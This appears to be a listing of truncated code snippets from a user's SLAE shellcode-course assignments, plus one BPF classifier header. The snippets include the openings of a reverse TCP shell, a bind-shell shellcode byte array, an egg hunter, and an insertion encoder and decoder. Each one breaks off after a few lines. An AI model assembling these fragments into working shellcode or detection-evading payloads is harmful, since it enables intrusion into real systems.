geyslan

// BPF_PROG_TYPE_SCHED_CLS

#define KBUILD_MODNAME "tc"

#include <asm/types.h>
#include <asm/byteorder.h>

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/pkt_cls.h>

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm

global _start

section .text

_start:

	; int open(const char *pathname, int flags);

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm

global _start

section .text

_start:

	; int chmod(const char *path, mode_t mode);

geyslan

# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import getopt
import string

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_decoder.asm

global _start

section .text

_start:
	jmp getaddress

mainflow:

geyslan

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char egg[] = \

// Write "Egg Mark" and exit

"\x90\x50\x90\x50"   // <- First Four Bytes of Signature

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm

global _start

section .text

_start:
	; setting the registers
	cld			; clear the direction flag (DF) to use scasd correctly
	xor ecx, ecx

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm

global _start

section .text

_start:

	; host
	push 0x0101017f		; IP Number "127.1.1.1" in hex reverse order

geyslan

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"

geyslan

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm

global _start

section .text

_start:

	; Setting port number